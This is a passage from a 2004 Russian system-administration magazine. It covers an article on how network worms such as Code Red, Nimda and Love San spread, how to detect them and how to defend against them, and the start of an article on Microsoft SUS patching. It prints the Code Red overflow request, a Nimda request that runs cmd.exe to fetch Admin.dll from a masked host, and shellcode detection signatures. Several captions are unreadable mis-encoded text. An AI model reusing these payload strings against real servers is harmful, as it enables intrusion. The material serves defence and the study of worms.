Открытые системы: открытыми мы будем называтьтакие системы, которые беспрепятственно позволяютвсем желающим исполнять на сервере свой собствен-ный код. К этой категории преимущественно относятсяслужбы бесплатного хостинга, предоставляющие telnet,perl и возможность установки исходящих TCP-соедине-ний. Существует гипотетический вирус, который пора-жает такие системы одну за одной и использует их в ка-честве плацдарма для атаки на другие системы.

В отличие от узлов, защищенных слабыми (отсутству-ющими) паролями, владелец открытой системы умыш-ленно предоставляет всем желающим свободный дос-туп, пускай и требующий ручной регистрации, которую,кстати сказать, можно и автоматизировать. Впрочем, ниодин из известных науке червей не использует этого ме-ханизма, поэтому дальнейший разговор представляетсясовершенно беспредметным.

Человеческий фактор: о пресловутом человеческомфакторе можно говорить много. Но не буду. Это вообщене техническая, а сугубо организационная проблема. Какбы не старалась Microsoft и конкурирующие с нею ком-пании защитить пользователя от себя самого, не урезавпри этом функциональность системы до уровня бытово-го видеомагнитофона, еще никому это не удалось. И ни-когда не удастся. Паскаль, известный тем, что не позво-ляет вам выстрелить себе в ногу, значительно уступаетпо популярности языкам Си и Си++, тем, которые отстре-ливают вам обе ноги вместе с головой в придачу, дажекогда вы этого не планировали.

Механизмы распространения червей

Page 85: 015 Системный Администратор 02 2004

83№2(15), февраль 2004

безопасность

Для решения этой проблемы Червь Морриса исполь-зовал несколько независимых механизмов.

Во-первых, из каждой зараженной машины он извле-кал список доверенных узлов, содержащихся в файлах/etc/hosts.equiv и /.rhosts, а также файлы .forward, содер-жащие адреса электронной почты. То есть целевые ад-реса уже не были случайными – это раз. Отпадало боль-шое количество несуществующих узлов – это два. Коли-чество попыток повторного инфицирования сводилось кразумному минимуму – и это три. Подобную тактику ис-пользуют многие почтовые черви, обращающиеся к ад-ресной книге Outlook Express. И эта тактика очень не-плохо работает!

На сайте корпорации Symantec имеется любопытнаяутилита – VBSim (Virus and Worm Simulation System), вы-полняющая сравнительный анализ эффективности чер-вей различных типов.

Во-вторых, различные экземпляры Червя Моррисапериодически обменивались друг с другом списком ужезараженных узлов, ходить на которые не нужно.

Конечно, наличие каких бы то ни было средств меж-вирусной синхронизации существенно увеличивает се-тевой трафик, однако если к этому вопросу подойти сумом, то перегрузку сети можно легко предотвратить.Заразив все уязвимые узлы, червь впадет в глубокуюспячку, уменьшая свою активность до минимума. Мож-но пойти и дальше, выделив каждому из червей опре-деленное пространство IP-адресов для заражения, ав-томатически наследуемое новорожденным потомством.Тогда процесс заражения сети займет рекордно корот-кое время, и при этом ни один из IP-адресов не будетпроверен дважды. Исчерпав запас IP-адресов, червьобратит свои внутренние счетчики в исходное положе-ние, вызывая вторую волну заражения. Часть ранее ин-фицированных узлов к этому моменту уже будет исце-лена (но не залатана), а часть может быть инфициро-вана повторно.

Как бы там ни было, грамотно спроектированныйчервь вызывать перегрузку сети не должен, и лишь до-садные программистские ошибки мешают привести этотплан в исполнение. Внешне такой червь может показать-ся вполне безопасным, и подавляющее большинство ад-министраторов скорее всего проигнорируют сообщенияоб угрозе (ибо негласное правило предписывает не тро-гать систему, пока она работает). Дыры останутся не-залатанными и… в один прекрасный момент всемир-ная сеть рухнет.

В этом свете весьма показателен процесс распрост-ранения вируса Code Red, в пике своей эпидемии зара-зившего свыше 359 000 узлов в течении 24 часов. Какбыли получены эти цифры? Программа-монитор, уста-новленная в локальной сети Лаборатории Беркли, пере-хватывала все проходящие через нее IP-пакеты и анали-зировала их заголовки. Пакеты, адресованные несуще-ствующим узлам и направляющиеся на 80-й порт, были,очевидно, отправлены зараженным узлом (Code Red рас-пространялся через уязвимость в MS IIS-сервере). Под-счет уникальных IP-адресов узлов-отправителей позво-лил надежно установить нижнюю границу численности

популяции вируса. При желании процесс расползаниявируса по всемирной сети можно увидеть и в динами-ке – www.caida.org/analysis/security/code-red/newframes-small-log.mov. Там же, на странице http://www.caida.org/analysis/security/code-red/coderedv2_analysis.xml, содер-жится текст, комментирующий происходящее зрелище.А зрелище и впрямь получилось впечатляющим и… по-учительным. Всем, особенно разработчикам вирусов,настоятельно рекомендую посмотреть. Быть может этонаучит кое-кого не ронять сеть своим очередным…ммм… творением.

Ðèñóíîê 3. Çàâèñèìîñòü óäåëüíîé ñêîðîñòè ðàñïðîñòðàíåíèÿ÷åðâÿ îò âðåìåíè. Ñíà÷àëà ÷åðâü ðàçìíîæàëñÿ êðàéíå ìåä-ëåííî, ìîæíî äàæå ñêàçàòü ëåíèâî. Âïðî÷åì, íà ïîðàæåíèåêëþ÷åâûõ  íåðâíûõ  öåíòðîâ  ñåòè  ó  âèðóñà  óøëî  âñåãî  íå-ñêîëüêî ÷àñîâ, ïî èñòå÷åíèè êîòîðûõ îí óñïåë îêêóïèðîâàòüïðàêòè÷åñêè  âñå  ðàçâèòûå  ñòðàíû  ìèðà.  Íàãðóçêà  íà  ñåòüñòðåìèòåëüíî ðîñëà, îäíàêî ïðîâàéäåðû ñ ýòèì åùå ñïðàâëÿ-ëèñü. Ïðèáëèçèòåëüíî ÷åðåç 12 ÷àñîâ, êîãäà ÷åðâü âñòóïèëâî âçðûâíóþ ñòàäèþ ñâîåãî ðàçìíîæåíèÿ, îáúåì ïåðåêà÷èâà-åìîãî òðàôèêà ñêà÷êîîáðàçíî âîçðîñ â òûñÿ÷è ðàç, è áîëü-øèíñòâî ñåòåâûõ ðåñóðñîâ îêàçàëîñü íåäîñòóïíî, ÷òî çàòîð-ìîçèëî  ðàñïðîñòðàíåíèå  ÷åðâÿ,  íî  áûëî  óæå  ïîçäíî,  ò.ê.ëüâèíàÿ ÷àñòü óÿçâèìûõ ñåðâåðîâ ê òîìó âðåìåíè îêàçàëàñüïîðàæåíà. Èñïåùðåííûé õàðàêòåð ñïàäà êðèâîé îòðàæàåò ïå-ðèîäè÷åñêîå ïîëåãàíèå ðàçëè÷íûõ ñåãìåíòîâ ñåòè Èíòåðíåò,çàãèáàþùèõñÿ  îò  ÷óäîâèùíîé  íàãðóçêè,  è  èõ  ìóæåñòâåííîåâîññòàíîâëåíèå ñàìîîòâåðæåííûìè àäìèíèñòðàòîðàìè. Âû äó-ìàåòå,  îíè  óñòàíàâëèâàëè  çàïëàòêè?  À  âîò  è  íåò!  ×åðåç÷åòûðå ÷àñà, êîãäà âèðóñ îêîí÷èë ñâîå ðàñïðîñòðàíåíèå èïåðåøåë ê ìàññèðîâàííîé àòàêå, íà êðèâîé íàáëþäàåòñÿ íå-áûâàëûé âñïëåñê, ïî ñðàâíåíèþ ñ êîòîðûì ïðåäûäóùèé ïèê íåòÿíåò äàæå íà æàëêèé õîëìèê. 12 000 èñêàæàåìûõ âåá-ñòðà-íèö çà ìèíóòó � ýòî ëè íå ðåçóëüòàò?!

Page 86: 015 Системный Администратор 02 2004

84

безопасность

Как обнаружить червя– Это знак червя?

– Червь. И большой.Френк Херберт, «Дюна»

Грамотно сконструированный и не слишком прожорливыйпрограммный код обнаружить не так-то просто! Есть рядхарактерных признаков червя, но все они ненадежны, игарантированный ответ дает лишь дизассемблирование.Но что именно нужно дизассемблировать? В случае с фай-ловыми вирусами все более или менее ясно. Подсовыва-ем системе специальным образом подготовленные «дро-зофилы» и смотрим, не окажется ли какая-то из них из-менена. Хороший результат дает и проверка целостностисистемных файлов по заранее сформированному этало-ну. В операционных системах семейства Windows на этотслучай припасена утилита sfc.exe, хотя, конечно, специа-лизированный дисковый ревизор справится с этой зада-чей намного лучше.

Черви же могут вообще не дотрагиваться до файло-вой системы, оседая в оперативной памяти адресногопространства уязвимого процесса. Распознать зловред-ный код по внешнему виду нереально, а проанализиро-вать весь слепок памяти целиком – чрезвычайно трудо-емкий и затруднительный процесс, тем более что явныхкоманд передачи управления машинному коду червя мо-жет и не быть (подробнее см. раздел «Структурная ана-томия червя»).

Однако где вы видели вежливого и во всех отношени-ях корректного червя? Ничуть не собираясь отрицать тотфакт, что среди червей попадаются и высокоинтеллекту-альные разработки, созданные талантливыми и, бесспор-но, профессиональными программистами, автор этой ста-тьи вынужден признать, что все черви, выловленные в жи-вой природе, содержали те или иные конструктивные ог-рехи, демаскирующие присутствие чего-то постороннего.

Верный признак червя – большое количество исходя-щих TCP/IP-пакетов, расползающихся по всей сети и вбольшинстве своем адресованных несуществующим по-лучателям. Рассылка пакетов происходит либо постоян-но, либо совершается через более или менее регулярныеи при том очень короткие промежутки времени, например,через 3 – 5 сек. Причем соединение устанавливается безиспользования доменного имени, непосредственно по IP-адресу (внимание: не все анализаторы трафика способ-ны распознать этот факт, поскольку на уровне функцииconnect соединение всегда устанавливается именно по IP-адресам, возвращаемым функцией gethostbyname по ихдоменному имени). Правда, как уже отмечалось, червьможет сканировать локальные файлы жертвы на предметпоиска подходящих доменных имен. Это может быть иадресная книга почтового клиента, и список доверенныхузлов, и просто архив HTML-документов (странички соссылками на другие сайты для HTTP-червей в высшейстепени актуальны). Ну, факт сканирования файлов рас-познать нетрудно. Достаточно поместить наживку – фай-лы, которые при нормальных обстоятельствах никогда иникем не открываются (в т. ч. и антивирусными демонамиустановленными в системе), но с ненулевой вероятнос-тью будут замечены и проглочены червем. Достаточно

лишь периодически контролировать время последнегодоступа к ним.

Другой верный признак червя – ненормальная сетеваяактивность. Подавляющее большинство известных на се-годняшний день червей размножаются с неприлично вы-сокой скоростью, вызывающей характерный взлет исхо-дящего трафика. Также могут появиться новые порты,которые вы не открывали и которые непонятно кто про-слушивает. Впрочем, прослушивать порт можно и без егооткрытия – достаточно лишь внедриться в низкоуровне-вый сетевой сервис. Поэтому к показаниям анализаторовтрафика следует относиться со здоровой долей скепти-цизма, если, конечно, они не запущены на отдельной ма-шине, которую червь гарантированно не сможет атаковать.

Третьим признаком служат пакеты с подозрительнымсодержимым. Под «пакетом» здесь понимаются не толькоTCP/IP-пакеты, но и сообщения электронной почты, содер-жащие откровенно «левый» текст (впрочем, червь можетмаскироваться и под спам, а тщательно исследовать каж-дое спаммерское письмо не хватит ни нервов, ни време-ни). Вот TCP-пакеты в этом смысле намного более пред-почтительнее, поскольку их анализ удается автоматизиро-вать. Что следует искать? Универсальных решений не су-ществует, но кое-какие наметки дать все-таки можно. Вчастности, применительно к веб-серверам и запросам типаGET характерным признаком shell-кода являются:а) имена командных интерпретаторов (cmd.exe, sh), систем-

ных библиотек типа admin.dll и подобных им файлов;б) последовательность из трех и более машинных команд

NOP, записываемая приблизительно так: %u9090;в) машинные команды CALL ESP, JMP ESP, INT 80h и дру-

гие подобные им (полный список занимает слишкоммного места и поэтому здесь не приводится);

г) бессмысленные последовательности вроде .\.\.\ илиXXX, используемые вирусом для переполнения.

Однако не пытайтесь напрямую дизассемблироватьдвоичный код, содержащийся в пакете, выглядевшем какпакет, предназначенный для срыва стека и подрыва авто-ритета системы. Поскольку заранее неизвестно, на какойименно байт shell-кода передается управление, точку вхо-да определить не так-то просто, и вовсе не факт, что еюокажется первый байт пакта или двоичного кода. И не воз-лагайте на авторизированный поиск большие надежды –он срабатывает далеко не всегда. Достаточно слегка за-шифровать shell-код, и все признаки червя немедленноисчезнут. Впрочем, поскольку размер переполняемого бу-фера зачастую очень и очень мал, втиснуть в отведенныйобъем головы вируса еще и шифровщик не так-то просто.

Во всяком случае тройка крупнейших червей легко об-наруживается автоматизированным анализом: и Code Red,и Nimda, и Slammer…

Ëèñòèíã 4. Ãîëîâà ÷åðâÿ Code Red, ïðèõîäÿùàÿ â ïåðâîì TCP-ïàêåòåGET /default. ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Page 87: 015 Системный Администратор 02 2004

85№2(15), февраль 2004

безопасность

Если червь содержит в себе незашифрованные тек-стовые строки (а многие из червей устроены именно так!),то злобный характер его натуры распознается уже прибеглом просмотре HEX-кода исследуемого файла:

Некоторые черви в целях уменьшения своих размерови не в последнюю очередь маскировки, сжимаются темили иным упаковщиком исполняемых программ, и переданализом их необходимо распаковать.

Ищите в дампе подозрительные сообщения, командыразличных прикладных протоколов (GET, HELO и т. д.),имена системных библиотек, файлов-интерпретаторов,команды операционной системы, символы конвейера,доменные имена сайтов, обращение к которым вы не пла-нировали и в чьих услугах судя по всему не нуждаетесь,IP-адреса, ветви реестра, ответственные за автоматичес-кий запуск программ и т. д.

При поиске головы червя используйте тот факт, чтоshell-код эксплоита, как правило, размещается в секцииданных и содержит легко узнаваемый машинный код. Вчастности, команда CDh 80h (INT 80h), ответственная запрямой вызов системных функций операционных системсемейства Linux, встречается практически во всех червях,обитающих на этой ОС.

Вообще говоря, проанализировав десяток различныхчервей, вы настолько проникнетесь концепциями их устрой-ства, что без труда распознаете знакомые конструкции и вдругих организмах. А заочно червей все равно не изучить.

Как побороть червя– Как же тогда справиться с червями?

– Мне неизвестно оружие, кроме атомного, взрывчатой силыкоторого было бы достаточно для уничтожения червя целиком.

Френк Херберт, «Дюна»Гарантированно защититься от червей нельзя. С другойстороны, черви, вызвавшие крупные эпидемии, все доединого появлялись задолго после выхода заплаток, ата-

куя компьютеры, не обновляемые в течение несколькихмесяцев или даже лет! В отношении серверов, обсужи-ваемых лицами, претендующими на звание «админист-ратора», это, бесспорно, справедливая расплата за не-брежность и бездумность. Но с домашними компьюте-рами не все так просто. У среднестатистического пользо-вателя ПК нет ни знаний, ни навыков, ни времени, ниденег на регулярное выкачивание из сети сотен мега-байт Service Pack и зачастую устанавливающимся толь-ко после серии магических заклинаний и танцев с буб-ном. Неквалифицированные пользователи в своей мас-се никогда не устанавливали обновления и никогда небудут устанавливать.

Важно понять, что антивирусы вообще не могут спра-виться с червями. В принципе. Потому что, исцеляя ма-шину, они не устраняют брешь в системе безопасности, ивирус приползает вновь и вновь. Не стоит возлагать осо-бых надежд и на брандмауэры. Да, они могут оперативнозакрыть уязвимый порт или отфильтровывать сетевыепакеты с сигнатурой вируса внутри. При условии, что ви-рус атакует порт той службы, которая не очень-то и нуж-на, брандмауэр действительно действует безотказно(если, конечно, не может быть атакован сам). Хуже, есличервь распространяется через такой широко распростра-ненный сервис, как, например, WEB. Закрывать его нельзяи приходится прибегать к анализу TCP/IP-трафика на пред-мет наличия в нем следов того или иного червя, то естьидти по пути выявления вполне конкретных представите-лей кибернетической фауны.

Хотя отдельные фирмы и предлагают высокопроизво-дительные аппаратные сканеры, построенные на програм-мируемых логических устройствах, сокращенно именуемыхPLD – от Programmable Logic Devices (www.arl.wustl.edu/~lockwood/publications/MAPLD_2003_e10_lockwood_p.pdf),в целом ситуация остается довольно удручающей, при-чем ни один из представленных на рынке сканеров не спо-собен распознавать полиморфных червей, т.к. для осуще-ствления этой операции в реальном времени потребует-ся весьма нехилые аппаратные мощности, и стоимость по-лучившегося агрегата рискует оказаться сопоставимой субытками, наносимыми самими червями (а в том, что та-кие черви когда-нибудь да появятся, сомневаться не при-ходится). Впрочем, программные сканеры сокращают про-пускную способность системы еще больше…

Жестокая, но зато кардинальная мера – заблагов-ременно создать слепок операционной системы вмес-те со всеми установленными приложениями и в ответ-ственных случаях автоматически восстанавливать одинраз в сутки или, по крайней мере, один раз в месяц. Вчастности, в операционных системах семейства NT этоможно сделать с помощью штатной программы backupи встроенного планировщика. Правда, если червь по-ражает пользовательские файлы (например, файлы до-кументов, письма электронной почты, скачанные веб-странички и т. д.), это ничем не поможет. Теоретическифакт искажения пользовательских файлов могут выя-вить ревизоры и системы контроля версий, практичес-ки же они с трудом отличают изменения, вызванныевирусом, от изменений сделанных самых пользовате-

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858 ↵↵↵↵↵

%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00  ↵↵↵↵↵%u531b%u53ff%u0078%u0000%u00= a HTTP 1.0

Content- type: text/ xml,Content- length: 3379Ëèñòèíã 5. Ãîëîâà ÷åðâÿ NimdaGET  /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll

Ëèñòèíã 6. Ôðàãìåíò âèðóñà MWORM

Ëèñòèíã 7. Ôðàãìåíò âèðóñà Love San ïîñëå ðàñïàêîâêè

Page 88: 015 Системный Администратор 02 2004

86

безопасность

лем. Но не будем забывать о возможности подложитьвирусу дрозофилу, целостность которой мы и будемвремя от времени контролировать.

ЗаключениеНа самом деле, это еще не конец статьи, и в следующемномере мы подробно рассмотрим механизм переполне-ния буфера, технику выявления уязвимых программ инекоторые способы защиты.

1 По отношению к Windows NT это не так, и всякий код,который только можно прочитать, по умолчанию можно иисполнить. Ðèñóíîê 4. Òàê ìîæåò âûãëÿäåòü àïïàðàòíûé àíàëèçàòîð òðàôèêà

Конец затишья перед бурей?Информационные бюллетени, выходящие в последнеевремя, все больше и больше напоминают боевые сводкис полей сражения. Только за первые три года нового ты-сячелетия произошло более десяти разрушительных ви-русных атак, в общей сложности поразивших несколькомиллионов компьютеров. Более точную цифру привестизатруднительно, поскольку всякое информационное аген-тство склонно оценивать размах эпидемии по-своему, иразличия в один-два порядка – вполне распространенноеявление. Но, как бы там ни было, затишье, длившееся ещесо времен Морриса, закончилось, и вирусописатели, слов-но проснувшиеся после долгой спячки, теперь перешли внаступление. Давайте вспомним, как все это начиналось.

Первой ласточкой, стремительно вылетевшей из гнез-да, стала Melissa, представляющая собой обычный мак-ровирус, распространяющийся через электронную почту.Способностью к самостоятельному размножению она необладала и сетевым червем в строгом смысле этого сло-ва очевидно не являлась. Для поддержания жизнедеятель-ности вируса требовалось наличие большого количестванеквалифицированных пользователей, которые: а) име-ют установленный MS Word; б) игнорируют предупрежде-ния системы о наличии макросов в документе или же об-работка макросов по умолчанию разрешена; в) пользуют-ся адресной книгой почтового клиента Outlook Express;г) все приходящие вложения открывают не глядя.

И эти пользователи нашлись! По различным оценкамMelissа удалось заразить от нескольких сотен тысяч до полу-тора миллионов машин, затронув все развитые страны мира.

Величайшая ошибка информационных агентств и ан-тивирусных компаний состоит в том, что они в погоне засенсацией сделали из Melissа событие номер один, чем раз-задорили огромное количество программистов всех мас-тей, вручив им образец для подражания. Как это обычно ислучается, на первых порах подражатели дальше тупогокопирования не шли. Сеть наводнили полчища вирусов-вло-жений, скрывающих свое тело под маской тех или иныхформатов. Верхом наглости стало появление вирусов, рас-пространяющихся через исполняемые файлы. И ведь на-ходились такие пользователи, что их запускали… Разно-образные методы маскировки (вроде внедрения в испол-няемый файл графической пиктограммы) появились значи-тельно позже. Нашумевший Love Letter, прославившийсясвоим романтическим признанием в любви, технической

новизной не отличался и как его коллеги распространялсячерез почтовые вложения, в которых на этот раз содержал-ся Visual Basic Script. Три миллиона зараженных машин –рекорд, который не смог побить даже сам Love San, – лиш-ний раз свидетельствует о том, что рядовой американскиймужик не крестится даже после того, как гром трижды вда-рит и охрипший от свиста рак с горы гикнется.

Более или менее квалифицированных пользователей(и уж тем более профессионалов!) существование почто-вых червей совершенно не волновало и они полагали, чтонаходятся в абсолютной безопасности. Переломным мо-ментом стало появление Kilez, использующего для свое-го распространения ошибку реализации плавающих фрей-мов в Internet Explorer. Заражение происходило в моментпросмотра инфицированного письма и сетевое сообще-ство немедленно забило тревогу.

Однако за год до этого было отмечено появление пер-вого червя, самостоятельно путешествующего по Сети ипроникающего на заражаемые сервера через дыру вMicrosoft Internet Information Server и Sun Solaris Admin Suite.По некоторым данным, червю удалось поразить до восьмитысяч машин (на две тысячи больше, чем Червь Морриса).Для современных масштабов Сети это пустяк, не стоящийдаже упоминания. Короче говоря, вирус остался незаме-ченным, а программное обеспечение – не обновленным.

Расплата за халатное отношение к безопасности не зас-тавила себя ждать и буквально через пару месяцев появил-ся новый вирус, носящий название Code Red, который со сво-ей более поздней модификацией Code Red II уложил болеемиллиона узлов за короткое время. Джинн был выпущен избутылки и тысячи хакеров, вдохновленные успехом своихколлег, оторвали мыши хвост и засели за клавиатуру.

За два последующих года были найдены критическиеуязвимости в Apache- и SQL-серверах и выращены спе-циальные породы червей для их освоения. Результат, какводится, превзошел все ожидания. Сеть легла, и некото-рые даже стали поговаривать о скором конце Интернетаи необходимости полной реструктуризации Сети (хотя все-го-то и требовалось – уволить администраторов, не уста-новивших вовремя заплатки).

Вершиной всему стала грандиозная дыра, найденная всистеме управления DCOM и распространяющаяся на весьмодельный ряд NT-подобных систем (в первую очередь этосама NT, а также W2K, XP и даже Windows 2003). Тот факт,

Page 89: 015 Системный Администратор 02 2004

87№2(15), февраль 2004

безопасность

что данная уязвимость затрагивает не только серверы, но ирабочие станции (включая домашние компьютеры) обеспе-чил червю Love San плодотворное поле для существования,поскольку подавляющее большинство домашних компьюте-ров и рабочих станций управляется неквалифицированнымперсоналом, не собирающимся в ближайшее время ни об-новлять операционную систему, ни устанавливать брандма-уэр, ни накладывать заплатку на дыру в системе безопасно-сти, ни даже отключать этот никому не нужный DCOM (дляотключения DCOM можно воспользоваться утилитой DCOM-

Òàáëèöà 1. Top10: ïàðàä ñåòåâûõ âèðóñîâ � îò ×åðâÿ Ìîððèñà äî íàøèõ äíåé (óêàçàííîå êîëè÷åñòâî çàðàæåííûõ ìàøèí ñîáðàíî èçðàçëè÷íûõ èñòî÷íèêîâ è íå ñëèøêîì-òî äîñòîâåðíî, ïîýòîìó íå âîñïðèíèìàéòå åãî êàê èñòèíó â ïåðâîé èíñòàíöèè)

bobulator, доступной по адресу http://grc.com/freepopular.htm,она же проверит вашу машину на уязвимость и даст несколь-ко полезных рекомендаций по защите системы).

Что ждет нас завтра – неизвестно. В любой моментможет открыться новая критическая уязвимость, поража-ющая целое семейство операционных систем, и преждечем соответствующие заплатки будут установлены, дест-руктивные компоненты червя (если таковые там будут)могут нанести такой урон, который повергнет весь циви-лизованный мир во мрак и хаос…

Что читать. Интересные ссылкина сетевые ресурсы:1. Attacks of the Worm Clones – Can we prevent them – мате-

риалы RSA Conference 2003 от Symantec, содержат мно-жество красочных иллюстраций, которые стоят того,чтобы на них посмотреть http://www.rsaconference.com/rsa2003/europe/tracks/pdfs/hackers_t14_szor.pdf;

2. An Analysis of the Slapper Worm Exploit – подробныйанализ червя Slapper от Symantec, ориентированныйна профессионалов, настоятельно рекомендуетсявсем тем, кто знает Си и ассемблер: ht tp: / /securityresponse.symantec.com/avcenter/reference/analysis.slapper.worm.pdf;

3. Inside the Slammer Worm – анализ червя Slammer,ориентированный на эрудированных пользователейПК, тем не менее достаточно интересен и для адми-нистраторов: http://www.cs.ucsd.edu/~savage/papers/IEEESP03.pdf;

4. An Analysis of Microsoft RPC/DCOM Vulnerably – обстоя-тельный анализ нашумевшей дыры в NT/W2K/XP/2003,рекомендуется: http://www.inetsecurity.info/downloads/papers/MSRPCDCOM.pdf;

5. The Internet Worm Program: An Analysis – историческийдокумент, выпущенный по следам Червя Морриса, исодержащий подробный анализ его алгоритма: http://www.cerias.purdue.edu/homes/spaf/tech-reps/823.pdf;

6. With Microscope and Tweezers: An Analysis of the InternetVirus of November 1988 – еще один исторический ана-лиз архитектуры Червя Морриса: http://www.deter.com/unix/papers/internet_worm.pdf;

7. The Linux Virus Writing And Detection HOWTO – любо-пытная вариация на тему «пишем вирус и антивирусдля Linux»: http://www.rootshell.be/~doxical/download/docs/linux/Writing_Virus_in_Linux.pdf;

8. Are Computer Hacker Break-ins Ethical? – этично ли взла-мывать компьютеры или нет, вот в чем вопрос! http://www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf;

9. Simulating and optimising worm propagation algorithms –анализ скорости распространения червя в зависимос-ти от различных условий, рекомендуется для людей сматематическим складом ума: http://downloads.security-focus.com/library/WormPropagation.pdf;

10. Why Anti-Virus Software Cannot Stop the Spread of EmailWorms – статья, разъясняющая причины неэффектив-ности антивирусного программного обеспечения вборьбе с почтовыми вирусами, настоятельно рекомен-дуется для ознакомления всем менеджерам по рекла-ме антивирусов: http://www.interhack.net/pubs/email-trojan/email-trojan.pdf;

11. Просто интересные документы по червям россыпью;http://www.dwheeler.com/secure-programs/secure-programming-handouts.pdf;http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/prodlit/sawrm_wp.pdf;h t t p : / / e n g r . s m u . e d u / ~ t c h e n / p a p e r s /Cisco%20IPJ_sep2003.pdf;http://crypto.stanford.edu/cs155/lecture12.pdf;http://www.peterszor.com/slapper.pdf.

Page 90: 015 Системный Администратор 02 2004

88

безопасность

УЯЗВИМОСТИ В MS WINDOWSВ ПОИСКАХ РЕШЕНИЯ ПРОБЛЕМЫ

ПО SUSЕКАМ MICROSOFT

МИХАИЛ ПЛАТОВ

Page 91: 015 Системный Администратор 02 2004

89№2(15), февраль 2004

безопасность

Программные уязвимостии методы борьбы с нимиКак известно, программы пишутся людьми. Так было все-гда – и в незапамятные времена мейнфреймов, и на зарепоявления первых ПК, да и сейчас ситуация принципиаль-но не отличается от того, что было 10 лет назад. Конечно,появляются новые методологии, создаются новые языкипрограммирования, но программы по-прежнему пишутсялюдьми, и в ближайшее время, видимо, здесь ничего ре-волюционного не произойдет.

Ни для кого не секрет, что людям свойственно оши-баться. Ошибаются все – от школьника, делающего своипервые шаги в Паскале, до матерого программиста, пи-шущего модули ядра ОС. Но если ошибки школьника, кро-ме его учителя и самого школьника, мало кого волнуют,то проблемы в часто используемых сервисах сетевых ОСволнуют значительно большее число людей. У многих впамяти еще свежи воспоминания о W32.blaster, всемир-ной лихорадке с червем Slammer, эксплуатирующим уяз-вимость в сервере MS SQL Server, проблемах с безопас-ностью веб-сервера MS IIS (червь Code Red), службах ftpи sendmail для Linux, и уязвимостях в MS Internet Explorer.Причем опыт показывает, что во многих случаях проблем,вызванных этими уязвимостями, можно было полностьюизбежать. Так, исправления для RPC/DCOM были опуб-ликованы на Windows Update за несколько недель до на-чала эпидемии, исправление, закрывающее уязвимостьв MS SQL Server было доступно для скачивания в течениенескольких месяцев, не говоря уже о регулярно появляю-щихся «заплатках» для Internet Explorer и Outlook Express.Обновления для популярных Linux-программ тоже появ-ляются достаточно быстро.

Итак, своевременная установка обновлений избавля-ет нас от множества проблем. И все было бы хорошо, еслибы здесь не вмешивался человеческий фактор. Ведь длятого, чтобы установить обновление, нужно сначала узнатьо том, что оно появилось (здесь нам могут помочь всевоз-можные bug-листы), найти его на сайте производителя,скачать и установить на все машины, подверженные дан-ной уязвимости. Не удивительно, что времени на выпол-нение этих работ очень часто не хватает, что и подтверж-дается историей вирусных атак последних лет. Еще односвидетельство тому – инициатива, озвученная генераль-ным директором компании Microsoft Стивом Балмеромпосле летней эпидемии W32.blaster об обязательном ин-тегрировании средств автоматического обновления в сле-дующие версии операционной системы MS Windows. Од-нако это будет в будущем, и пока оно не наступило, нам –системным администраторам – придется самостоятельноискать решения одной из самых важных административ-ных проблем, а именно – как наиболее быстро и с мини-мальными усилиями устанавливать обновления для ис-пользуемых программ?

И хотя рынок программных продуктов, решающих дан-ную проблему, еще молод, уже сейчас на нем присут-ствует достаточное количество различных игроков, пред-лагающих свои решения проблемы оперативного обнов-ления. Не является исключением и компания Microsoft,

предлагающая широкий спектр продуктов, направленныхна решение проблем своих клиентов. Остановимся бо-лее подробно на одном из них – Microsoft Software UpdateServices.

Концепция SUSСуществует мнение, что на компьютеры, полностью изо-лированные от Интернета, обновления в принципе можнои не устанавливать, решая проблемы несанкционирован-ного доступа административно. Однако для компьютеров,хотя бы изредка появляющихся в Сети, регулярная уста-новка обновлений абсолютно необходима. Именно дляэтого в состав еще Windows 2000 был включен компонент«Автоматическое обновление». При подключении компь-ютера к Сети этот компонент автоматически связываетсяс узлом Windows Update, определяет, какие критическиеобновления системы доступны для установки и скачива-ет их. Этот подход вполне применим для домашнего ком-пьютера с 56К dialup-подключением. Однако для органи-заций это практически не применимо, так как большин-ство организаций оплачивают трафик помегабайтно и рас-ходы от многократно скачанного обновления (пропорцио-нально количеству компьютеров) никак не обрадуют на-чальство.

Здесь нам на помощь приходит SUS. Скачивая обнов-ление один раз, он выступает в качестве корпоративногосервера Windows Update, тем самым минимизируя вне-шний оплачиваемый трафик. Кроме того, SUS являетсямасштабируемым решением, то есть существует возмож-ность построить иерархию SUS-серверов для распреде-ления нагрузки или для «адресной» установки обновле-ний. Так, при помощи иерархической схемы можно снача-ла проверить работу обновлений на тестовой зоне, а за-тем разрешить установку в рамках всего предприятия.

Системные требованияТребования к необходимому оборудованию во многом оп-ределяются тем, как именно планируется использоватьSUS. Если нужно обеспечить установку обновлений в не-большой локальной сети, то вполне можно ограничитьсяминимальными требованиями, заявляемыми Microsoft –700 МГц процессором, 512 Мб ОЗУ и парой гигабайт сво-бодного места для хранения скачанных обновлений. Од-

Page 92: 015 Системный Администратор 02 2004

90

безопасность

нако если вы собираетесь делать многоуровневый корпо-ративный узел обновлений, то требования могут быть го-раздо выше и должны определяться в зависимости от по-ставленной задачи.

С точки зрения устанавливаемого программного обес-печения системные требования более универсальны. Не-зависимо от масштабов, для установки SUS необходимоналичие веб-сервера MS IIS 5.0/6.0 и обозревателя MSInternet Explorer версии не ниже 5.5.

Устанавливаем SUSЗдесь все не сложнее, чем с любым другим продуктом отMicrosoft, за исключением того, что при установке не нуж-но заполнять различные регистрационные формы и ду-мать об активации – продукт бесплатен. Так что простокачаем SUS с сайта Microsoft и запускаем инсталлятор.

При установке SUS автоматически устанавливаетсяутилита IIS Lockdown, которая, в принципе, может нару-шить работу других приложений, выполняющихся на этомже веб-сервере. Хорошо было бы установить SUS на ма-шину, на которой хотя бы не выполняется других веб-при-ложений, а еще лучше – на специально выделенный ком-пьютер, особенно если количество обслуживаемых SUS-клиентов велико.

